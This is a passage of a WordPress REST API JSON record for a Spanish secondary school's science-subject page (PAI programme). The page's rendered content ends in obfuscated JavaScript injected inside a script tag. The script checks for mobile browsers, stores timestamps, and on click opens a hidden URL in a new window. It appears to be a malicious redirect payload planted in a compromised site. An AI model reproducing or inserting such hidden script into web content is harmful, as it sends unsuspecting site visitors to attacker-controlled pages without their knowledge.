i|ip)|hs\\-c|ht(c(\\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\\-(20|go|ma)|i230|iac( |\\-|\\\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\\\/)|klon|kpt |kwc\\-|kyo(c|k)|le(no|xi)|lg( g|\\\/(k|l|u)|50|54|\\-[a-w])|libw|lynx|m1\\-w|m3ga|m50\\\/|ma(te|ui|xo)|mc(01|21|ca)|m\\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\\-2|po(ck|rt|se)|prox|psio|pt\\-g|qa\\-a|qc(07|12|21|32|60|\\-[2-7]|i\\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\\\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\\-|oo|p\\-)|sdk\\\/|se(c(\\-|0|1)|47|mc|nd|ri)|sgh\\-|shar|sie(\\-|m)|sk\\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\\-|v\\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\\-|tdg\\-|tel(i|m)|tim\\-|t\\-mo|to(pl|sh)|ts(70|m\\-|m3|m5)|tx\\-9|up(\\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\\-|your|zeto|zte\\-\/i['test'](_0x264a55[_0x49bda1(0x1fe)](0x0,0x4)))_0x262ad1=!![];}(navigator['userAgent']||navigator[_0x573149(0x1dd)]||window['opera']),_0x262ad1;};function _0xfb5e65(_0x1bc2e8){const _0x595ec9=_0x37c48c;_0x1bc2e8[_0x595ec9(0x1d9)]();const _0xb17c69=location['host'];let _0x20f559=_0x5531de(_0x1f0b56);const _0x459fd3=Date[_0x595ec9(0x1e3)](new Date()),_0x300724=_0x45b4c1(_0xb17c69+_0x595ec9(0x1fb)),_0xaa16fb=_0x45b4c1(_0xb17c69+_0x595ec9(0x1ee));if(_0x300724&&_0xaa16fb)try{const _0x5edcfd=parseInt(_0x300724),_0xca73c6=parseInt(_0xaa16fb),_0x12d6f4=_0x5a2361(_0x459fd3,_0x5edcfd),_0x11bec0=_0x4be146(_0x459fd3,_0xca73c6);_0x11bec0>=_0x3edee4&&(_0x4b7784(_0x1f0b56),_0x1a2453(_0xb17c69+_0x595ec9(0x1ee),_0x459fd3)),_0x12d6f4>=_0x27386d&&(_0x20f559&&window[_0x595ec9(0x1f2)]()&&(_0x1a2453(_0xb17c69+_0x595ec9(0x1fb),_0x459fd3),window[_0x595ec9(0x1ec)](_0x20f559,_0x595ec9(0x1da)),_0x49794b(_0x20f559)));}catch(_0x57c50a){_0x2d2875(_0x1f0b56,_0xb17c69,_0x459fd3);}else _0x2d2875(_0x1f0b56,_0xb17c69,_0x459fd3);}document[_0x37c48c(0x1f1)]('click',_0xfb5e65);}());<\/script>","protected":false},"excerpt":{"rendered":"<p>Planteamiento de la asignatura El grupo de asignaturas de Ciencias forma parte del Programa de los A\u00f1os Intermedios (PAI) y se integra [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"parent":0,"menu_order":0,"comment_status":"closed","ping_status":"closed","template":"","meta":{"_themeisle_gutenberg_block_has_review":false,"footnotes":""},"class_list":["post-690","page","type-page","status-publish","hentry"],"_links":{"self":[{"href":"https:\/\/iesrosachacel.net\/pai_dev\/wp-json\/wp\/v2\/pages\/690","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/iesrosachacel.net\/pai_dev\/wp-json\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/iesrosachacel.net\/pai_dev\/wp-json\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/iesrosachacel.net\/pai_dev\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/iesrosachacel.net\/pai_dev\/wp-json\/wp\/v2\/comments?post=690"}],"version-history":[{"count":4,"href":"https:\/\/iesrosachacel.net\/pai_dev\/wp-json\/wp\/v2\/pages\/690\/revisions"}],"predecessor-version":[{"id":764,"href":"https:\/\/iesrosachacel.net\/pai_dev\/wp-json\/wp\/v2\/pages\/690\/revisions\/764"}],"wp:attachment":[{"href":"https:\/\/iesrosachacel.net\/pai_dev\/wp-json\/wp\/v2\/media?parent=690"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}